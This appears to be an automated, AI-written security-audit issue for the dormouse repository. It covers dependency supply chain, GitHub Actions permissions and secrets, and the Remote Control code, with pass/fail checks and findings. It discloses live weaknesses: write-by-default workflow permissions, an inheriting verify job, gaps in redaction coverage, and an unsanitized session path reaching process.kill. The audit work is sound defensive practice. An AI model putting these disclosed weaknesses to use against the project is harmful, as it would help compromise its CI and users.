[security-audit] FAIL on 2026-08-27

[github-actions]

Audit failed at 2026-08-26T05:06Z. Run · Transcript

Security audit

Supply chain

Supply Chain Audit

Scope: ## Dependency Supply Chain only.

FAIL IF results

1. PASS — node website/scripts/generate-deps.js produces no diff. Workspace was already installed (pnpm install --frozen-lockfile also run explicitly as a second check, Already up to date, 467ms). Generator ran successfully (wrote 48 npm deps, 13 direct + 474 transitive cargo deps, 1 bundled runtime) and git status --porcelain website/src/data/ / git diff --stat website/src/data/ were both empty before and after. Tree left clean.

2. PASS — .github/workflows/ci.yml lines 33-45 (Dependency disclosure is current step) runs node website/scripts/generate-deps.js then git diff --quiet -- website/src/data/, printing ::error:: and exit 1 on a diff. Runs after pnpm install --frozen-lockfile (line 24), consistent with the generator's real-node_modules requirement.

3. PASS — Derived from pnpm-workspace.yaml independently of the spec's enumeration. The 10 workspace packages resolve to package names as follows:

   • Roots (6, matching productDependencyFilters in website/scripts/generate-deps.js): dor (dir dor), dormouse (dir vscode-ext), dormouse-standalone (dir standalone), dormouse-lib (dir lib), dormouse-sidecar (dir standalone/sidecar), server (dir server).
   • Edges reached from those roots (2): dor-lib-common (a real dependencies entry of dor and lib), server-lib-common (a real dependencies entry of server and lib) — confirmed by reading dor/package.json, server/package.json, lib/package.json.
   • Excluded with stated reasons (2): canopy (Storybook-only; verified @diffplug/xterm-addon-webgl-sdf's non-registry GitHub-tarball resolution in pnpm-lock.yaml line 649 is referenced only from canopy/package.json, nowhere else), website → package name dormouse-website (runs in a visitor's browser, not installed).
     All 10 accounted for; none missing from both roots and exclusions.

4. PASS — Root package.json line 6-11: devEngines.runtime.version = "24.18.0", an exact MAJOR.MINOR.PATCH (not a bare major).

5. PASS — standalone/src-tauri/build.rs: verify_node_version (line 191) runs node --version on the binary about to be bundled and errors on mismatch against the devEngines.runtime.version pin (read via read_pinned_node_version, which also independently validates the exact-version format, lines 176-186). The one skip is exactly the documented one: if host != target emits a cargo:warning and returns Ok(()) (lines 197-205), justified by inability to execute a foreign-arch binary. Checked release.yml's build-standalone matrix (lines 27-36): ubuntu-22.04→x86_64-unknown-linux-gnu, macos-latest→aarch64-apple-darwin, windows-latest→x86_64-pc-windows-msvc — all three are host-native (no cross-compiled target such as universal macOS or arm64 Windows), so the skip is never exercised by the release matrix today.

6. PASS — release.yml's build-standalone job installs Node via actions/setup-node with node-version-file: package.json (lines 46-48). Root package.json has no volta or engines key (grep for both returned nothing), so setup-node's precedence resolution (volta.node → devEngines.runtime → engines.node) is guaranteed to read the pinned devEngines.runtime.version.

7. PASS — pnpm-workspace.yaml contains minimumReleaseAge: 1440 (top-level, last line).

8. PASS — .github/renovate.json: enabledManagers = ["github-actions", "npm", "cargo"] (includes both npm and cargo). minimumReleaseAge package rules present for matchManagers: ["npm", "cargo"] at three update types: patch → "1 day", minor → "3 days", major → "14 days".

Qualitative findings

• INFO — Checked all commits since the last successful audit (2026-08-24, issue [security-audit] FAIL on 2026-08-22 #417) via gh api repos/diffplug/dormouse/commits (local clone is shallow, 1 commit, so GitHub API was used instead of git log). Three dependency-touching Renovate merges in that window: chore(deps): update storybook to v10.5.10 (chore(deps): update storybook to v10.5.10 #442), chore(deps): update pnpm to v11.22.0 (chore(deps): update pnpm to v11.22.0 #443), chore(deps): update dependency hono to v4.13.3 (chore(deps): update dependency hono to v4.13.3 #441). Inspected each commit's file list: chore(deps): update storybook to v10.5.10 #442 and chore(deps): update dependency hono to v4.13.3 #441 touch only pnpm-lock.yaml (lockfile-only version bumps within existing ranges, no new dependency); chore(deps): update pnpm to v11.22.0 #443 touches package.json (+1/-1, the packageManager/pnpm version field) plus the lockfile. None added a new production dependency or a new workspace root. No BLOCKER or WARNING findings here.

• INFO — Only one non-registry lockfile resolution exists: @diffplug/xterm-addon-webgl-sdf resolved from a GitHub Releases tarball URL (pnpm-lock.yaml line 649-650), matching AGENTS.md's description of the sdf-branch xterm.js fork. Confirmed via grep that it is declared only in canopy/package.json, which is a deliberately-excluded, non-shipped Storybook lab per the spec's own text. Not a disclosure gap.

• INFO — pnpm-workspace.yaml's allowBuilds permits install/build scripts for @swc/core, esbuild, node-pty, sharp and explicitly denies keytar and @vscode/vsce-sign. Traced each with pnpm why:

  • node-pty is a genuine production dependencies entry of vscode-ext and standalone/sidecar (native PTY bindings — required, expected, and already disclosed: confirmed present in the generated website/src/data/dependencies-npm.json).
  • esbuild is a devDependency everywhere it appears (vscode-ext, dor, standalone) — a build tool, not shipped.
  • sharp is a transitive production dependency of dormouse-website's ascii-splash — but website is the one workspace package the spec deliberately excludes from the disclosed graph (runs in a visitor's browser / build-time-only image processing, nothing installed on a user's machine). Consistent with the stated exclusion rationale; not a new gap.
  • @swc/core appears in allowBuilds but does not currently resolve in the lockfile at all (grep -n swc pnpm-lock.yaml — no hits). This is harmless dead configuration (possibly a leftover from an optional/platform-conditional transitive dependency in a prior lockfile state), not a security issue, but worth a maintainer cleanup pass.
  • keytar and @vscode/vsce-sign are transitive devDependencies of @vscode/vsce/ovsx (extension packaging tooling only) and are correctly denied build-script execution.
  • Ran pnpm install --frozen-lockfile after all this and it reported no pending/ignored build-script warnings, confirming no package with an install script is un-triaged by allowBuilds.

• No newly added or upgraded runtime dependency in the audit window introduces new install-script surface, no lockfile entry resolves outside the npm/cargo registries except the already-excluded canopy tarball, and no reachable-but-undisclosed package was found.

CI and secrets

Domain: ci-and-secrets

Scope: ## GitHub Actions Policies, ## Automated Maintainer (tend), ## VS Code Extension Releases, ## Desktop Releases, ## Reporting a Vulnerability, ## CI Validation Contract.

FAIL IF results

GitHub Actions Policies

• pull_request_target outside tend-*.yaml: PASS. grep -rl pull_request_target .github/workflows returns only tend-review.yaml.
• Non-agent-managed workflow effective write perms beyond the allowed set: PASS. ci.yml and chromatic.yml each declare workflow-level permissions: contents: read with no job overriding it (verified full file contents). release.yml declares workflow-level contents: read; build-standalone/build-vscode jobs declare contents: read, id-token: write, attestations: write; the security-audit job declares contents: read, actions: write (the explicitly named exception); publish-vscode has no job-level block and inherits the workflow-level contents: read. No non-agent-managed job exceeds the allowed set.

Automated Maintainer (tend)

• workflow-audit.yaml lower bound: PASS. SINCE=$(gh api ".../workflows/workflow-audit.yaml/runs?status=success&per_page=1" --jq '.workflow_runs[0].created_at') — server-set created_at, not pusher-controlled (.github/workflows/workflow-audit.yaml lines 79-84).
• Admin-gating rulesets: PASS. GET /rulesets/16757376 ("Merge access"): target: branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}], bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] (role 5 = admin). GET /rulesets/16757382 ("Tag operations"): target: tag, ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same admin-only bypass actor. Both match the spec exactly.
• dormouse-bot role: PASS. GET /collaborators/dormouse-bot/permission → {"permission":"write","role_name":"write", ...,"permissions":{"admin":false,"maintain":false,"push":true,...}}. Neither maintain nor admin.
• Environment deployment-branch-policies all admin-gated: PASS.
  • release-attest: branch policy v* (tag) only. Tag creation/update is admin-only via "Tag operations". No secrets.
  • security-audit: branch policies main (branch) + v* (tag). main updates are admin-only via "Merge access"; v* via "Tag operations". Secrets: AUDIT_PAT, CLAUDE_CODE_OAUTH_TOKEN.
  • tend: branch policy main only, admin-gated via "Merge access". Secrets: CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN.
  • vscode-extension-publish: branch policy v* (tag) only, admin-gated via "Tag operations", plus a required_reviewers protection rule (nedtwigg, edgartwigg, prevent_self_review: true). Secrets: OVSX_PAT, VSCE_PAT.
• Secret inventory placement: PASS for every named secret. Repo-level secrets (GET /actions/secrets): only CHROMATIC_PROJECT_TOKEN — matches "absent at repo level" for AUDIT_PAT, TEND_BOT_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, OVSX_PAT, VSCE_PAT, ANTHROPIC_API_KEY. Environment secret listings above match the table exactly. release-attest has an empty secret list and declares no env vars in the workflow (only id-token/attestations permissions) — matches. Org-level secrets (GET /actions/organization-secrets): empty — matches "no org secret visible to this repo."
• CHROMATIC_PROJECT_TOKEN in .config/tend.yaml secrets.allowed: PASS — .config/tend.yaml line 5.
• workflow-audit.yaml liveness (48h): PASS. Workflow state: active. Last successful run 2026-08-25T07:54:12Z; current time 2026-08-26T05:02:11Z → ~21.1h elapsed, well under 48h.
• tend-*.yaml unpinned actions: PASS (tag pins accepted for this file class). All 8 tend-*.yaml files use actions/checkout@v7 and max-sixty/tend/claude@0.1.18 — tag-pinned, not @main/unpinned.
• Agent-managed workflow effective GITHUB_TOKEN permissions beyond the allowed set: FAIL. .github/workflows/tend-mention.yaml's verify job (job body spans lines 92-343) declares no permissions: block, and the file has no workflow-level permissions: block either (confirmed: no permissions: key appears before jobs: in any of the 8 tend-*.yaml files). Effective permissions for verify therefore fall back to the repository default, which is confirmed below to be write — i.e. write access across roughly nine scopes (contents, issues, pull-requests, checks, deployments, packages, security-events, statuses, discussions), far beyond the allowed set (contents: write, pull-requests: write, issues: write, id-token: write, actions: read, or any read scope). Every other job in every tend-*.yaml file, plus workflow-audit.yaml and security-audit.yaml, declares an explicit permissions block within the allowed set (tend-mention.yaml's sibling jobs relay at line 76 — contents: write only — and handle at line 354 — contents: write, pull-requests: write, actions: read, issues: write — are both fine). Mitigating context: verify's single step ("Verify bot engagement") never references the ambient secrets.GITHUB_TOKEN and contains no actions/checkout; the only token it uses is secrets.TEND_BOT_TOKEN explicitly (line 330), an already-disclosed PAT. So today's blast radius from this specific gap is near zero, but the grant itself is exactly the "job that declares nothing textually grants nothing while its token carries nine write scopes" case the document names — it would activate the moment a future step in that job used the default token or added a checkout step, with no diff to catch it.
• default_workflow_permissions / can_approve_pull_request_reviews: FAIL. GET /repos/diffplug/dormouse/actions/permissions/workflow → {"default_workflow_permissions":"write","can_approve_pull_request_reviews":true}. Both clauses violated: the spec requires read and false respectively. This is the repository setting SECURITY.md names as "the backstop for every permission bullet in this document" — and it is also the direct cause of the verify-job finding immediately above (fixing this setting to read would put verify's inherited default back inside the allowed set, since "any read permission" is explicitly permitted).

VS Code Extension Releases

• vscode-extension-publish environment binding / VSCE_PAT+OVSX_PAT scoping: PASS. publish-vscode job in release.yml (line 306-307) declares environment: name: vscode-extension-publish. Repo-wide grep for VSCE_PAT|OVSX_PAT under .github/workflows/** returns only lines 336 and 348 of release.yml, both inside publish-vscode.
• No production desktop signing secrets in CI / ephemeral Tauri updater key: PASS. release.yml's build-standalone job has a "Generate ephemeral Tauri updater key" step (tauri signer generate --ci --write-keys ... --force) and no reference anywhere in release.yml to a production signing secret (no APPLE_SIGN_PASS, EV_SIGN_PIN, or production TAURI_SIGNING_PRIVATE_KEY).

Desktop Releases

• scripts/sign-and-deploy.sh three properties: PASS. Verifies GitHub artifact attestations (gh attestation verify in verify_downloaded_artifact), verifies SHA-256 manifests (check_sha256_manifest / sha256sum -c), and uses PIV-backed Windows signing (jsign --storetype PIV ... --alias AUTHENTICATION in sign_windows).

Reporting a Vulnerability

• Private vulnerability reporting enabled: PASS. GET /repos/diffplug/dormouse/private-vulnerability-reporting → {"enabled":true}.

CI Validation Contract

• security-audit.yaml gate integrity (dispatch, gh run watch --exit-status, publish-vscode's needs: edge): PASS. All three present in release.yml's security-audit job (gh workflow run "$workflow" ...; gh run watch "$run_id" ... --exit-status) and publish-vscode.needs includes security-audit. security-audit.yaml itself: state: active.
• Dedicated application-security subagent, not merged with other domains: PASS. .github/audit/application-security.md scope is exactly ## Remote Control; it shares no ## heading with supply-chain.md (## Dependency Supply Chain) or ci-and-secrets.md (the six sections above).
• Orchestrator non-turn-ending wait: PASS. .github/audit/orchestrator.md step 2 requires blocking in a Bash until loop polling for the three fragment files, explicitly re-issued past the 10-minute Bash cap under a 25-minute deadline, and explicitly forbids ending the turn to wait.
• .github/audit/ prompt files present / scripts/security-audit-local.sh uses the same files: PASS. All five files (_preamble.md, orchestrator.md, supply-chain.md, ci-and-secrets.md, application-security.md) exist; security-audit-local.sh reads them directly from .github/audit/ (no duplicated copies) and hard-fails if any is missing.
• .github/audit/ inside workflow-audit.yaml's diff window: PASS. git log --all --since="$SINCE" ... -- .github/workflows/ .config/tend.yaml .github/audit/ (workflow-audit.yaml line 107-108) explicitly includes .github/audit/.
• Every ## section owned by exactly one domain: PASS. SECURITY.md has 8 ## headings (Remote Control, Dependency Supply Chain, GitHub Actions Policies, Automated Maintainer (tend), VS Code Extension Releases, Desktop Releases, Reporting a Vulnerability, CI Validation Contract). application-security.md claims 1 (Remote Control), supply-chain.md claims 1 (Dependency Supply Chain), ci-and-secrets.md claims the remaining 6. No overlaps, no omissions.
• Union of qualitative scopes covers every top-level repo path: PASS, with a caveat. Application-security's scope ends "...and the repository root files," which by this document's own convention (every directory reference elsewhere carries a trailing /) most naturally reads as loose files at repo root (AGENTS.md, README.md, package.json, etc.), all of which are covered. Two git-tracked top-level directories are not literally named by any domain's enumeration: .vscode/ (launch.json, tasks.json — editor config) and .impeccable/ (design.json — data for the impeccable.style skill referenced in README.md). Neither is security-sensitive, and node_modules (also top-level) is correctly excluded since it is gitignored, generated, and not part of the tracked repository. See qualitative findings for the ambiguity; not counted as a hard FAIL given the low severity and genuine textual ambiguity, but flagged rather than silently passed.
• Redact secrets from agent output step coverage: FAIL (one clause). The step (security-audit.yaml lines 157-187) redacts exactly two files: $RUNNER_TEMP/claude-execution-output.json (the transcript) and audit-report.md. It does not redact audit-supply-chain.md, audit-ci-secrets.md, or audit-application.md — the three per-domain fragments the bullet explicitly names as sinks the step must cover. The step does fail closed for the two files it touches (|| { rm -f "$TRANSCRIPT" audit-report.md; exit 1; }). See qualitative findings for the related spec/code drift this connects to.
• Orchestrator can report PASS while a subagent left no fragment: FAIL. .github/audit/orchestrator.md step 4 instructs the agent itself to check [ -s audit-supply-chain.md ] && [ -s audit-ci-secrets.md ] && [ -s audit-application.md ] before writing PASS, and asserts "The reporting step checks this independently... but do not make it do that work." That is not true of the shipped workflow: the Surface result, file or close issue step in security-audit.yaml (lines 198-323) reads only audit-status.txt (for PASS/FAIL/MISSING) and audit-report.md (for issue body text) — it never inspects audit-supply-chain.md / audit-ci-secrets.md / audit-application.md for existence or non-emptiness. There is therefore no mechanical backstop if the orchestrator LLM writes PASS without having actually verified all three fragments; the entire guarantee rests on the orchestrator prompt being followed correctly, which is exactly the "a prompt is not a control" failure mode this document calls out elsewhere (in the --allowed-tools context, security-audit.yaml lines 82-83).

Qualitative findings

• BLOCKER — default_workflow_permissions is write and can_approve_pull_request_reviews is true at the repository level (GET /repos/diffplug/dormouse/actions/permissions/workflow). SECURITY.md is explicit that this is "the backstop for every permission bullet in this document" and that "the repository setting is the only place to fix it durably — a YAML edit does not survive the nightly regen." Today it is misconfigured in the permissive direction on both axes. It has a live consequence right now (see the tend-mention.yaml verify-job finding above) and is a standing risk for every future tend regeneration: the nightly tend regen writes YAML, not repo settings, so any job it produces that omits a permissions: block inherits write-everything rather than read-only until this setting is corrected via the GitHub UI/API (PUT /repos/diffplug/dormouse/actions/permissions/workflow with default_workflow_permissions: read, can_approve_pull_request_reviews: false). This is a straightforward, high-confidence, directly-actionable finding.
• WARNING — Spec/code drift in the audit's own resilience story. SECURITY.md's CI Validation Contract states: "Fragments are uploaded with the transcript, so an orchestrator that dies mid-merge still ships whatever the domains found." The Archive audit transcript step in security-audit.yaml uploads only ${{ runner.temp }}/claude-execution-output.json; the three fragment files live in the job's checkout working directory and are never independently uploaded, posted, or otherwise published. If the orchestrator agent completes all three subagents but is cut off (turn/cost/time limit) before running its own Step-3 merge, the fragments are lost when the ephemeral runner is torn down — the reporting step then sees an empty audit-report.md, classifies the run MISSING/INCONCLUSIVE, and the human-facing issue explicitly states "This is not a security finding," even though real subagent findings (potentially BLOCKERs) may exist nowhere else. Whether those findings survive at all then depends on incidental capture inside the SDK transcript JSON, which is not what the document claims. Recommend either adding an upload-artifact step for audit-*.md alongside the transcript, or correcting the prose to stop claiming fragments are uploaded.
• INFO — .vscode/ and .impeccable/ are git-tracked top-level directories not literally named in any domain's qualitative-scope enumeration (see the FAIL IF note above). Low risk (editor config, design-token JSON) — recommend tightening the enumeration text to remove the ambiguity next time SECURITY.md's CI Validation Contract section is touched, the same way the two previously-orphaned larger gaps (canopy/, docs/, etc.) were closed.
• No other weakening found in the audit's own machinery: the AUDIT_PAT pre-check, the security-audit-failure issue open/close lifecycle, the PASS/FAIL/MISSING three-way distinction, and the --disallowed-tools "Workflow" / allowed Task/Agent split all match the document's description and are implemented as claimed.

PASS/FAIL verdict: FAIL — default_workflow_permissions/can_approve_pull_request_reviews are both misconfigured (BLOCKER), with a live downstream instance in tend-mention.yaml's verify job, plus two further FAIL IF violations in the audit's own redaction coverage and fragment-existence backstop.

Application security

Application Security Audit

Scope: ## Remote Control (mechanical FAIL IF checks), plus a qualitative
pass over Remote Control and the rest of the repository (lib/, server/,
server-lib-common/, standalone/, vscode-ext/, dor/, dor-lib-common/,
canopy/, deploy/, docs/, and the repository root files). No GitHub API
access and no AUDIT_PAT were used — this is a pure code-and-specs review.

FAIL IF results

Trust boundary

1. PASS — authorizeConnection (server-lib-common/src/security/connection.ts:96-163) evaluates the passkey assertion (verifyPasskeyAssertion), the device signature (verifyDeviceChallengeSignature), and the ACL (host.acl.authorize) independently, never short-circuiting, and returns allowed only when all pass. host.policy (ConnectionPolicy, the Host's own origin/rpId) is spread before the request's challenge field, so nothing on the wire can override the freshness binding. No Server-supplied claim is trusted: the Server's own checkConnect2 (server/src/handshake.ts:167-225) is a courtesy pre-filter, and RemoteHost.#onConnect2 (lib/src/remote/host/remote-host.ts:411-459) always calls the real authorizeConnection regardless of what the relay forwarded.
2. PASS — HostAcl.approve (server-lib-common/src/security/acl.ts:124-136) has exactly one caller in non-test code: PairingCeremony.approve (server-lib-common/src/security/pairing.ts:232-243). Grepped \.approve\( across lib/, server/, server-lib-common/ (excluding tests): the only three hits are remote-host.ts:376 (this.#ceremony.approve(...)), service.ts:250 (this.#pendingPairing(...).approve(...), a different object's method), and pairing.ts:235 (this.#acl.approve(...)). An approval is matched against the immutable pairingId, never a mutable clientId alone: RemoteHostService.#pendingPairing (lib/src/host/remote/service.ts:259-266) throws unless pending.pairingId === pairingId, and RemoteHost.#approvePairing (remote-host.ts:367-390) re-checks state.pending.pairingId !== pairingId independently.
3. PASS — RemoteHost.#onPair (remote-host.ts:331-364) runs isPairingRequest(incoming) itself before any use, and rejects with pair-result approved:false, error:'malformed-request' on failure — it does not rely on the Server's identical check in Handshake.checkPair (handshake.ts:128-153). requestedLabel (and accountId) are reduced with boundedPairingAccount/boundedPairingLabel (remote-host.ts:348-352) before being stored in the ticket, so every downstream consumer (queue projection, modal, ACL record) sees the bounded value.
4. PASS — RemoteHostResult, HostStatusEvent, PairingQueueEvent, RemoteHostConsoleStatus (lib/src/host/remote/service-protocol.ts:55-169) declare no hostToken field anywhere. EnrollResult is { hostId, serverUrl } only (line 148-151). Grep for hostToken across lib/, vscode-ext/, standalone/, server/ shows every occurrence is either a type declaration, an inbound field (EnrollParams/AdoptParams.enrollment, by design), a Bearer-header use in push-delivery.ts:71, or a comment.
5. PASS — RemoteHostService.#adopt (service.ts:287-320) checks, in order: !existing (the store's own loadEnrollment() returned null), this.#allowed(enrollment.serverUrl) (the same originAllowedByConnectSrc gate as #enroll), and filterAclRecords(enrollment.hostId, params.aclRecords ?? []) which applies isHostAclRecord (full shape guard, server-lib-common/src/security/acl.ts:44-58) and record.hostId === hostId (lib/src/remote/host/acl.ts:34-41) before any record is persisted.
6. PASS — Every security primitive (HostAcl, HostChallengeIssuer, PairingCeremony, authorizeConnection, verifyPasskeyAssertion, device-key signing/verification, boundedPushText/boundedPairingLabel) is imported from server-lib-common/src/security/ by server/src/*.ts, lib/src/remote/host/remote-host.ts, and the Pocket client paths — confirmed by import statements in connection.ts, handshake.ts, remote-host.ts, app.ts. No parallel/forked implementation of any of these was found.

Where a Host may reach a relay server

7. PASS — DEFAULT_REMOTE_CONNECT_SRC is 'https://*.dormouse.sh wss://*.dormouse.sh' verbatim in both scripts/csp-defaults.mjs:18 and lib/src/host/remote/connect-src.ts:22. CONNECT_SRC_SOURCE_PATTERN is the identical regex literal /^((?:https?|wss?):)\/\/([^/:]+)(?::(\*|\d+))?$/i in both files (csp-defaults.mjs:26, connect-src.ts:73).
8. PASS — assertConnectSrcBaked is called by standalone/scripts/build-sidecar-proxy.mjs:48 and by vscode-ext/scripts/esbuild.mjs in both branches: the watch branch calls it once after ctx.rebuild() and before entering ctx.watch() (line 63), and the non-watch branch calls it after esbuild.build (line 67). resolveRemoteConnectSrc (csp-defaults.mjs:48-62) throws on any override source that fails isSupportedSource, which uses the same CONNECT_SRC_SOURCE_PATTERN.
9. PASS — originAllowedByConnectSrc gates RemoteHostService.#allowed (service.ts:324-330), which is called from #start (line 112, Host start-up), #enroll (line 179), and #adopt (line 300) — all three paths. originAllowedByConnectSrc (connect-src.ts:118-140) returns false on a URL constructor throw, an empty hostname, an unmatched scheme group, or a source string that fails to parse — i.e. it fails closed on every unparseable input.
10. PASS — performEnrollment (lib/src/remote/host/enrollment.ts:80-95) sets redirect: 'error'. hostFetch in push-delivery.ts:56-74 also sets redirect: 'error' for both the pushDevices read and the sendPush write.

Credentials at rest

11. PASS — JsonFileStore.writeAtomic (server/src/state.ts:92-97) calls mkdir(stateDir, { recursive: true, mode: 0o700 }) and writeFile(tmp, ..., { mode: 0o600 }) before renaming. Grepped server/src/ for writeFile(, appendFile(, createWriteStream(: the only writer of any state-directory file is this one writeAtomic method (used by AccountStore, HostStore, PushSubscriptionStore, VapidStore — no other write path exists).
12. PASS — FileHostStateStore.#write (lib/src/host/remote/host-state-store.ts:176-202) does mkdir(dir, {mode:0o700}), best-effort chmod(dir, 0o700) on non-Windows, and writeFile(tmp, ..., {mode:0o600}) before rename. VsCodeHostStateStore.saveEnrollment/clearEnrollment (vscode-ext/src/remote-host-store.ts:84-96) use context.secrets.store/.delete (VS Code SecretStorage, i.e. the OS keychain) for the enrollment; loadAcl/saveAcl (lines 111-128) use context.globalState, which is the documented, deliberate placement (ACL is public-key data).
13. PASS — deploy/local/install-macos.sh:434-444 generates the setup password via /usr/bin/xxd -p -l 32 -c 32 /dev/urandom (or openssl rand -hex 32 as fallback) — 32 random bytes, and the length guard is [ ${#SETUP_PASSWORD} -ge 64 ], i.e. 64 hex characters, matching the 32-byte claim (not a -ge 32 regression).
14. PASS — install-macos.sh:446 sets umask 077 immediately before the heredoc that writes config/server.env, and line 461 additionally does chmod 0600 "$ENV_FILE". Line 367 does chmod 0700 "$CONFIG_DIR" "$STATE_DIR".
15. PASS — When $ENV_FILE already exists, the installer's only action on it is chmod 0600 (line 466-467) — no write of its contents, i.e. byte-for-byte preservation. The setup password is printed nowhere else in the script; the only print path is cmd_show_password in the generated bin/manage (lines 810-823), gated by an explicit y/N confirmation and a TTY check.
16. PASS — bin/manage's cmd_verify (install-macos.sh:669-673) does grep -q "DORMOUSE_SETUP_PASSWORD" "$PLIST" and calls fail if it matches, pass otherwise.

The setup password

17. PASS — server/src/app.ts:230-235 precomputes expectedPasswordHash = sha256(config.setupPassword) and compares with timingSafeEqual(sha256(provided), expectedPasswordHash) — both operands are fixed-length SHA-256 digests, so the compare never branches on input length. readPasswordGated (lines 240-249) calls delay(PASSWORD_FAILURE_DELAY_MS) (250 ms, line 149) on every failure before responding.
18. PASS — The only cors(...) registration in server/src/app.ts is app.use('/api/*', cors({ origin: '*', allowHeaders: [...] })) (line 260) — the /ws/host and /ws/client upgrade routes are registered separately and are not under this middleware. No route in app.ts sets or reads a cookie; every credential is a header (Authorization: Bearer) or a JSON body field.

Network posture

19. PASS — install-macos.sh:473-474 dies with an explicit message unless config/server.env contains DORMOUSE_BIND_HOST=127.0.0.1 exactly. bin/manage's cmd_verify (lines 701-711) probes http://$tsip:$PORT/api/hello over the node's Tailscale IPv4 and fails if it answers.
20. PASS — server/src/config.ts:64: const bindHost = env.DORMOUSE_BIND_HOST?.trim() || undefined; — unset or blank both collapse to undefined. server/test/bind-host.test.mjs spawns dist/index.js as a real child process (spawn(process.execPath, [ENTRYPOINT], ...)) rather than calling library functions directly.
21. PASS — install-macos.sh:241-257: if an existing config/server.env's DORMOUSE_ORIGIN differs from the freshly-derived one, the script prints a detailed warning and dies, refusing to write.
22. PASS — cmd_verify's Funnel check (install-macos.sh:736-743) greps ts serve status + ts funnel status output for funnel on (case-insensitive) across both, and fails if found.

What crosses the boundary

23. PASS — isPublicHttpsPushEndpoint (server/src/push-endpoint.ts:92-103) is called at registration (app.ts:500) and rejects non-https:, credentialed URLs, localhost/.localhost, and literal private/reserved IPs. createPublicPushAgent/createPublicLookup (push-endpoint.ts:128-156) are wired into delivery (push.ts:267, createWebPushSender) and reject a hostname if any DNS answer is blocked (push-endpoint.ts:139-143, addresses.find(({address}) => !isPublicNetworkAddress(address))).
24. PASS — app.ts:602 (pushSend route): currentPushSubscriptionsForHost(c.get('host').hostId) takes the Host id from the authenticated bearer token (requireHost middleware), never from the request body. Line 596-597 rejects when devicePublicKeys is absent, non-array, empty, or contains a non-string. /api/push/subscriptions (line 542-569) and /api/push/devices (line 571-582) take no devicePublicKey input parameter at all — both are scoped purely by the presented credential.
25. PASS — Host side: toPushText/push-delivery.ts:43-45 calls the shared boundedPushText from server-lib-common. Server side: app.ts:610-619 calls the same boundedPushText on body.title/body.body before building the payload. Both import from server-lib-common/src/security/push.ts:143-161, the single implementation.
26. PASS — RelayHub.onClientFrame (server/src/relay.ts:221-299) only forwards pair/connect/connect2/msg after the HandshakeGate checks (for the first three) or the established flag (for msg); no other frame type is forwarded pre-authorization, and unknown types get an error reply, not a forward. onHostFrame's msg case (lines 168-173) checks client.established && client.hostId === host.hostId before relaying to the client, and #isCurrentClientHost (lines 321-327) re-validates the client/host binding after every async gate check in onClientFrame.

Cloud-hosted mode

27. PASS — Grepped every accountId assignment in server/src/*.ts: all three (app.ts:271,313,378) use SELFHOST_ACCOUNT_ID (= 'owner', server-lib-common/src/remote/wire.ts:67). No self-serve signup route exists — every account-creating path (/api/setup/begin, /api/setup/finish) is gated by readPasswordGated (the shared setup password).

Qualitative findings

BLOCKER: none found.

• INFO — Remote Control code matches its specs (docs/specs/remote-security-model.md, docs/specs/server.md) essentially line-for-line everywhere checked: the pairing ceremony, connection establishment, challenge domain separation (DEVICE_AUTH_DOMAIN vs PUSH_SUBSCRIBE_DOMAIN in server-lib-common/src/security/deviceKey.ts:22 and push.ts:36, preventing a signature captured in one protocol context from being replayed in the other), the relay's dumb-pipe/handshake-gate split, and the credentials-at-rest table. No spec drift was found in this domain. lib/pocket/public/sw.js's hand-copied boundedPushText mirror (it cannot import the shared module) is byte-identical in its regex character classes and code-point-safe truncation logic to server-lib-common/src/security/push.ts — no drift.
• INFO — Challenges are single-use, TTL-bounded (256-bit random, DEFAULT_CHALLENGE_TTL_MS = 2 min, HostChallengeIssuer.consume deletes on first redemption whether or not it later fails) and domain-separated by both purpose (DEVICE_AUTH_DOMAIN/PUSH_SUBSCRIBE_DOMAIN) and by binding the exact hostId/challenge/devicePublicKey into the signed payload (deviceAuthPayload, pushSubscribePayload). verifyPasskeyAssertion (server-lib-common/src/security/passkey.ts) does not enforce authenticator signCount monotonicity, which would normally guard against a cloned authenticator — but this is standard for platform/passkey-only deployments (many passkey providers always report signCount: 0), is not claimed anywhere in the spec, and does not weaken any property SECURITY.md asserts; noted for completeness only, not a finding.
• INFO — Traced every writer that can reach a Host's ACL: HostAcl.approve is reachable only through PairingCeremony.approve, which is reachable only through RemoteHost.#approvePairing, which is reachable only from a RemoteHostService.#approve call gated on the immutable pairingId matching the currently-pending ticket for that clientId. adopt is the one non-ceremony writer and is bounded exactly as SECURITY.md describes (FAIL IF 5, above) — it cannot touch a machine that already has an enrollment, and every record it carries is independently shape- and hostId-validated. Neither a compromised webview nor a compromised Server can reach HostAcl.approve directly: the webview only ever sends {clientId, pairingId, label?} over the bridge, and the Server only ever relays a pair frame that both sides independently shape-validate before any UI or storage effect.
• INFO — No credential leak found: grepped for hostToken/setup-password/VAPID-key logging across server/src/, lib/src/remote/, lib/src/host/remote/, and vscode-ext/src/remote-host*.ts — no console.* call includes any of these identifiers. dor-control-server.js's token (a different credential, the dor CLI control-socket secret) is never sent on the wire either — the handshake is a mutual HMAC proof-of-possession with timingSafeEqual comparison, mirroring the pattern in server/src/state.ts.
• WARNING — Outside Remote Control, in the local browser-automation feature: lib/src/host/agent-browser-host.ts's killDaemon(session) (lines 209-216) builds path.join(agentBrowserStateDir(), \${session}.pid`)and passes the parsed content toprocess.kill(), with no character sanitization on session— only a non-empty-string check. Its siblingscreenshotPath(session, ext)two lines away (line 263) explicitly sanitizes withsession.replace(/[^A-Za-z0-9._-]/g, '_'), and the code comment there is clearly aware of the risk. The sessionvalue reachingkillDaemon(viapopOut/popIn, called from AgentBrowserPanel.tsxwith the session name a browser surface was opened with) can originate fromdor ab --session (dor/src/commands/agent-browser.ts:191), where **--sessionis deliberately exempted from theKEY_PATTERNcharset check that--keygets** (line 187-189) — the code comments say--sessionis for "a raw agent-browser session name," but that raw string still flows unsanitized into apath.joinused for both a file read and aprocess.kill()target. Practical impact is bounded by the terminal's own trust model: reaching this path already requires the ability to run arbitrary commands inside a Dormouse-hosted terminal, which is equivalent to the local user's own shell access — so the traversal cannot reach anything the same local user's ordinary shell commands could not already read or kill. It is nonetheless a real inconsistency against the pattern used one function away, worth fixing for defense-in-depth by applying the sameKEY_PATTERN-style sanitization (or reusing screenshotPath's replace) before killDaemon's path.join`. Not a Remote Control finding — surfaced here because the qualitative sweep is scoped to the whole repository per the audit's domain split.
